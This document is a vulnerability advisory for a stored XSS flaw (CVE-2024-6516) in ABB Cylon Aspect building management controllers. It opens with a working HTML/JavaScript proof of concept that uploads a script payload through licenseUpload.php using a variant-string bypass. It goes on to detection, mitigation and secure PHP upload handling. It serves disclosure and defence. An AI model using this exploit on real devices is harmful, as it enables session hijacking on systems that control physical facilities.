ABB Cylon Aspect 3.08.02 (licenseUpload.php) - Stored Cross-Site Scripting
ABB Cylon Aspect 3.08.02 (licenseUpload.php) Stored Cross-Site Scripting
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.02
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The ABB Cylon Aspect BMS/BAS controller suffers from an authenticated
stored cross-site scripting (XSS) vulnerability. This can be exploited by
uploading a malicious .txt file containing an XSS payload, which is stored
on the server and served back to users. Although the filename is sanitized
via the filename POST parameter, the file contents are not inspected or
sanitized, allowing attackers to inject arbitrary client-side scripts that
execute in the context of any user accessing the infected file or related
web page (license.php). To bypass file upload checks, the request must include
the Variant string enabling the upload process for potential exploitation.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
ErgoTech MIX Deployment Server 2.0.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2025-5905
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5905.php
CVE ID: CVE-2024-6516
CVE URL: CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-6516
21.04.2024
-->
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
<html>
<body>
<script>
function storeit()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/192.168.73.31\/licenseUpload.php", true);
xhr.setRequestHeader("Accept-Language", "mk-MK,mk;q=0.7");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundarymcNoKljWbBWAldlr");
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7");
xhr.withCredentials = true;
var body = "------WebKitFormBoundarymcNoKljWbBWAldlr\r\n" +
"Content-Disposition: form-data; name=\"userfile\"; filename=\"test.txt\"\r\n" +
"Content-Type: text/lic\r\n" +
"\r\n" +
"Variant = AspectMAX\r\n" +
"\x3cscript\x3econfirm(251)\x3c/script\x3e\r\n" +
"------WebKitFormBoundarymcNoKljWbBWAldlr\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"Upload\r\n" +
"------WebKitFormBoundarymcNoKljWbBWAldlr--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
storeit();
</script>
<form action="#">
<input type="button" value="Post" onclick="storeit();" />
</form>
</body>
</html> ABB Cylon Aspect 3.08.02 (licenseUpload.php) — Stored Cross‑Site Scripting (CVE‑2024‑6516)
Keywords: ABB Cylon Aspect, Aspect BMS/BAS, stored XSS, licenseUpload.php, CVE‑2024‑6516, web application security, file upload hardening
Overview
In April 2024 a stored cross‑site scripting (XSS) vulnerability was disclosed in ABB Cylon Aspect (firmware ≤ 3.08.02). The issue involves the license upload endpoint (licenseUpload.php) accepting uploaded text files whose contents are stored and later rendered back to authenticated users without proper output encoding or content handling. An authenticated user with access to the upload function can persist attacker‑controlled script content and cause that script to execute in the context of other user sessions that view the stored file or related pages.
Affected products and identifiers
| Vendor | Product / Series | Firmware | CVE |
|---|---|---|---|
| ABB Ltd. | NEXUS Series, MATRIX‑2 Series, ASPECT‑Enterprise, ASPECT‑Studio | ≤ 3.08.02 | CVE‑2024‑6516 |
Severity and impact
- Type: Authenticated, stored Cross‑Site Scripting (XSS).
- Impact: Execution of arbitrary JavaScript in browsers of other authenticated users who view the stored content or pages serving it. This can lead to session theft, UI manipulation, CSRF amplification, data exfiltration from the application context, and supply‑chain style persistence inside the device UI.
- Prerequisites: Attacker must be able to authenticate to the device and reach the upload functionality (file upload access via licenseUpload.php).
How the vulnerability works (high level)
The endpoint allows file uploads and stores uploaded files on the device. While the implementation may perform some filename validation, it does not sanitise or enforce safe handling of the file contents. If the server later serves that content directly into a page, or serves it with an HTML content type or without proper escaping, embedded script tags can run inside the browser of any user viewing that content.
Why this is dangerous
- Stored XSS is persistent — a single upload can affect multiple users over time.
- Controllers and building management systems are trusted components in facilities; compromise can affect physical operations and safety monitoring.
- These devices are often accessible to maintenance staff and integrators; an attacker leveraging stored XSS can target privileged personnel.
Detection and hunting
- Search logs and webserver access records for requests to licenseUpload.php and recently uploaded text files. Look for suspicious file names or unusual upload times.
- Hunt for stored content containing HTML/script markers (e.g., "<script>", "<img onerror=", "javascript:") in file storage locations or DB fields accessible to the application.
- Inspect device UI pages that list or render uploaded files — check response Content‑Type headers and whether content is escaped.
- Network IDS/Proxy: flag uploads that contain HTML tags within files or multi‑part POSTs that appear to contain script tokens. (Use detection for anomalous content, not to reconstruct or facilitate exploits.)
Immediate mitigation steps (operational)
- Apply vendor updates/firmware as provided by ABB. Patch is the primary fix.
- Restrict access to management interfaces: apply network segmentation, firewall rules, and VPN/ACLs so only authorized personnel can reach the device UI.
- Limit who can upload files: audit accounts with upload privileges and reduce them to minimal set of trusted users.
- When possible, disable file upload functionality until a patched firmware is installed.
- Monitor logs for suspicious uploads and remove any stored files containing unexpected markup or scripts.
Secure coding and configuration recommendations (server side)
The following defensive techniques can prevent similar file‑upload‑based stored XSS issues. They show best practices for handling uploaded files and for serving user content safely.
1) Store uploaded files safely (outside webroot)
- Never store uploaded files in a directory served directly as HTML.
- Use a storage location outside webroot and serve files via an authenticated controller that enforces Content‑Type and output encoding.
2) Enforce allow‑lists and validate MIME types
- Allow only required file extensions and verify server‑side MIME detection (finfo, libmagic) rather than trusting client headers.
- Reject files that contain HTML/script markers when only plain text is expected, or normalize/escape content before echoing it back.
3) Force downloads or escape when rendering
- If users must retrieve uploaded files, serve them with safe headers: Content‑Type set to a non‑rendering type (e.g., application/octet‑stream or text/plain with proper escaping) and Content‑Disposition: attachment; filename="…".
- Set X‑Content‑Type‑Options: nosniff and appropriate CSP headers to reduce browser‑side execution risk.
Example: secure PHP handling for textual uploads
<?php
// Secure upload handler (conceptual, not an exploit)
// 1) Accept file upload, validate type and size
// 2) Store outside webroot with a randomised filename
// 3) When serving, set safe headers and escape output if served inline
$uploadDir = '/var/secure_uploads/'; // outside webroot
$maxSize = 2 * 1024 * 1024; // 2 MB max
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['userfile'])) {
$f = $_FILES['userfile'];
// Basic checks
if ($f['error'] !== UPLOAD_ERR_OK) {
http_response_code(400);
echo 'Upload error';
exit;
}
if ($f['size'] > $maxSize) {
http_response_code(413);
echo 'File too large';
exit;
}
// Use finfo to detect real MIME type
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($f['tmp_name']);
// Allow only plain text files (adjust policy as required)
$allowed = ['text/plain', 'application/octet-stream'];
if (!in_array($mime, $allowed, true)) {
http_response_code(415);
echo 'Unsupported file type';
exit;
}
// Sanitize file metadata and create safe storage name
$safeName = bin2hex(random_bytes(16)) . '.txt';
$target = $uploadDir . $safeName;
if (!move_uploaded_file($f['tmp_name'], $target)) {
http_response_code(500);
echo 'Server error';
exit;
}
// Set restrictive permissions
chmod($target, 0640);
// Log upload and provide a reference id only (no direct link)
// Store metadata in DB with association to uploader, timestamp, and a safe id
echo 'Upload successful';
}
?>Explanation: This sample shows a secure pattern for accepting files: server‑side MIME detection via finfo, allow‑listing of permissible types, size checks, storing files outside the web root with randomized filenames, and setting file permissions. The application should then avoid serving the raw file inline without escaping or safe headers.
Example: safe serve routine for textual uploads
<?php
// Serve file by ID, with enforced headers. Do NOT embed raw content into HTML pages.
$id = $_GET['id'] ?? '';
// lookup storage path by id in DB
$path = get_path_from_id($id);
if (!$path || !file_exists($path)) {
http_response_code(404);
exit;
}
// Force download or explicit plain text with escaping
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/plain; charset=utf-8');
header('Content-Disposition: attachment; filename="download.txt"');
readfile($path);
exit;
?>Explanation: By forcing a download via Content‑Disposition or serving content as text/plain while setting nosniff, browsers are less likely to execute embedded markup. When inline rendering is required inside an HTML page, the server must escape content with htmlspecialchars() or equivalent and never inject raw file contents into pages.
Defensive HTTP headers and CSP
- Set X‑Content‑Type‑Options: nosniff
- Use Content‑Security‑Policy to restrict script execution and origins (e.g., default‑src 'self'; script‑src 'none' for management UI where possible).
- Use HttpOnly and Secure flags for session cookies and consider SameSite attributes.
Vendor action and patching
ABB published advisories and firmware updates addressing CVE‑2024‑6516. Administrators should apply vendor firmware updates as soon as possible. If an immediate vendor patch cannot be applied, implement the operational mitigations above (restrict access, disable uploads, audit accounts) until a patch is deployed.
For incident response
- Remove or quarantine any uploaded files containing markup or script payloads.
- Rotate credentials for accounts that could be affected and invalidate sessions if compromise is suspected.
- Collect and preserve logs (webserver, application, authentication) for forensic review.
References
- Advisory: ZSL‑2025‑5905 (disclosure and technical notes)
- CVE record: CVE‑2024‑6516
- Vendor: ABB Ltd. firmware/security updates (consult official ABB channels for patched firmware)
Takeaway
This vulnerability highlights a common pattern: file upload functionality is a frequent source of stored XSS when content is stored and later rendered without proper controls. The strongest protections are a combination of vendor patches, safe storage/serve patterns, network access restrictions, and least‑privilege for upload capabilities. Apply the patch, harden your upload handling, and monitor for suspicious uploads to reduce risk.